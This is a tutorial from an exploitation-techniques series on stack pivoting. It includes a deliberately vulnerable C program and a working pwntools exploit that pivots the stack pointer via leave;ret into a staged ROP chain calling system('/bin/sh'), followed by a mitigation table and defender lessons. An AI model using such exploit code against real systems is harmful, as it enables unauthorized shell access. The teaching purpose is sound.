Stack Pivoting: Relocating the ROP Chain
When the overflow gives you only a few bytes past the return address, pivot the stack pointer into a buffer you fully control and run the real chain from there. A pwntools walkthrough.
This is the tenth walkthrough in the Exploitation Techniques area. Every ROP technique so far assumed enough room after the return address to lay out the whole chain. Often you do not have it — the overflow reaches the saved frame pointer and return address and little more. Stack pivoting is the maneuver that fixes this: redirect rsp into a buffer you fully control and run the real chain from there.
Your own binary, disposable lab. See the lab rules.
The constraint: a chain that won't fit
Imagine an overflow that lets you overwrite exactly the saved rbp and the saved return address, and nothing more — 16 bytes of control. That is enough to jump once, but a ret2libc or execve chain needs far more. The idea: use that single jump to move rsp onto a large region you filled earlier, where the full chain waits.
tiny overflowoverwrites saved rbp + return addressleave ; retmov rsp, rbp — sets rsp = staged bufferstaged chain in .bssthe full ROP chain, with room to sparePivot gadgets
Anything that loads rsp from controlled data is a pivot:
| Gadget | Effect | You control rsp via |
|---|---|---|
leave ; ret | mov rsp, rbp ; pop rbp ; ret | the saved rbp you overwrote |
pop rsp ; ret | pops rsp directly | the next stack qword |
xchg rax, rsp ; ret | swaps rax into rsp | whatever you loaded into rax |
add rsp, N ; ret | shifts within the current stack | fixed small moves |
leave ; ret is the most common because the epilogue of almost every function is leave ; ret, and you already overwrote the saved rbp.
The target
/* vuln.c — first read stages a chain into .bss; second overflow is tiny. */
#include <unistd.h>
char stage[0x400]; /* large, fixed-address buffer (no PIE) */
void vuln(void) {
char buf[64];
read(0, stage, sizeof stage); /* 1) fill the staging buffer */
read(0, buf, 88); /* 2) small overflow: buf..rbp..ret + a bit */
}
int main(void){ vuln(); return 0; }
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
The first read lets us place a full chain at the fixed address stage. The second read overflows just enough to set the saved rbp and the return address.
The exploit
Set the saved rbp so that after leave the stack pointer lands at the start of stage, and set the return address to a leave ; ret gadget.
# pivot.py
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # for the real chain
stage = elf.symbols["stage"]
rop = ROP(elf)
leave_ret = rop.find_gadget(["leave", "ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
io = process("./vuln")
# 1) the real chain, placed at `stage`. leave will set rsp = stage,
# then `pop rbp` consumes the first 8 bytes — so lead with padding.
chain = p64(0) # eaten by `pop rbp` in leave
chain += p64(ret) # alignment
chain += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh\x00")))
chain += p64(libc.symbols["system"])
io.send(chain.ljust(0x400, b"\x00"))
# 2) the tiny overflow: 64 buf + saved rbp + return address
payload = b"A" * 64
payload += p64(stage) # saved rbp -> leave sets rsp = stage
payload += p64(leave_ret) # return into `leave ; ret` to pivot
io.send(payload)
io.interactive()
Walk the pivot: vuln returns into leave ; ret. leave does mov rsp, rbp (so rsp = stage) then pop rbp (consuming stage's first 8 bytes — that is why the chain leads with padding). The trailing ret now reads its target from stage+8, and the real chain runs with a full 0x400 bytes of room. (libc.address must be set from a leak if ASLR is on; omitted here for clarity.)
Pivoting twice / into freshly read data
A common variant: pivot into a small landing zone whose only job is to call read again into a big region, then pivot a second time into that. Pivots compose, so a tiny initial primitive can bootstrap unlimited space.
Turn the mitigations back on
Stack pivoting is a movement technique, not a bug, so it inherits the usual choke points:
| Mitigation | Effect on the pivot |
|---|---|
| Stack canary | The tiny overflow still crosses the canary — detected before ret |
| PIE + ASLR | stage's address is randomized; the pivot needs a leak first |
| Shadow stack / CET | Every ret (including the pivot's) is checked against the shadow copy and mismatches, aborting |
| Non-executable data (NX) | Irrelevant — the destination holds addresses, not code |
The shadow stack is again decisive: the pivot relies on ret reading an attacker-chosen target, and CET's shadow stack is exactly the mechanism that rejects a ret whose target does not match the protected copy.
What this teaches a defender
- A "too small to exploit" overflow is a myth. Sixteen controlled bytes are enough to pivot to a buffer you staged elsewhere. Do not downgrade an overflow's severity just because the immediately overwritable region is small.
- Fixed-address writable buffers help attackers. A large global in a non-PIE binary is an ideal pivot destination. PIE removes the "fixed address" half of that gift.
- Backward-edge integrity keeps paying off. Canaries stop the initial overwrite; shadow stacks reject the pivot's
ret. If you can enable only one new mitigation on native code, a shadow stack (CET / PAC) breaks the widest set of techniques in this series.
Key takeaways
- Stack pivoting relocates
rspinto a buffer you control, so a tiny overflow can drive a full chain staged elsewhere. leave ; retis the workhorse pivot: control the savedrbpand you controlrspafter the epilogue.- Lead the staged chain with 8 bytes of padding to absorb the
pop rbpinsideleave. - Pivots compose and inherit the standard defences; a shadow stack rejects the pivot's own
ret.
Next: file-structure attacks (FSOP), where the target is not a return address or the GOT but a FILE object the program still trusts.